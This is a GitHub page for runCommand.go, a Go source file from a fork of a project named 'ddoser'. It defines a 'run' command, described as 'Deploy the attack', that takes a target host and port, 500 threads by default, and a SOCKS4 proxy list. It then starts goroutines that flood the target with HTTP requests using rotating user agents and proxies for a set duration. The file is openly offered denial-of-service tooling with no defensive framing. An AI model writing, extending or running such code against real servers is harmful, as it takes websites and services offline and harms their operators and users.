forked from gingteam/ddoser
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrunCommand.go
37 lines (32 loc) · 843 Bytes
/
runCommand.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main
import (
"time"
"github.com/mkideal/cli"
)
type runT struct {
cli.Helper
Host string `cli:"*host"`
Port string `cli:"p,port" dft:"80"`
Thread int `cli:"t,thread" dft:"500"`
Method string `cli:"method" dft:"GET"`
Path string `cli:"path" dft:"/"`
File string `cli:"f,file" dft:"socks4.txt"`
Duration int `cli:"d,duration" dft:"10"`
}
var attackCommand = &cli.Command{
Name: "run",
Desc: "Deploy the attack",
Argv: func() interface{} {
return new(runT)
},
Fn: func(ctx *cli.Context) error {
argv := ctx.Argv().(*runT)
useragents := getUserAgents(500)
proxies := readLines(argv.File)
for i := 0; i < argv.Thread; i++ {
go flood(argv.Host, argv.Port, argv.Method, argv.Path, useragents, proxies)
}
time.Sleep(time.Duration(argv.Duration) * time.Second)
return nil
},
}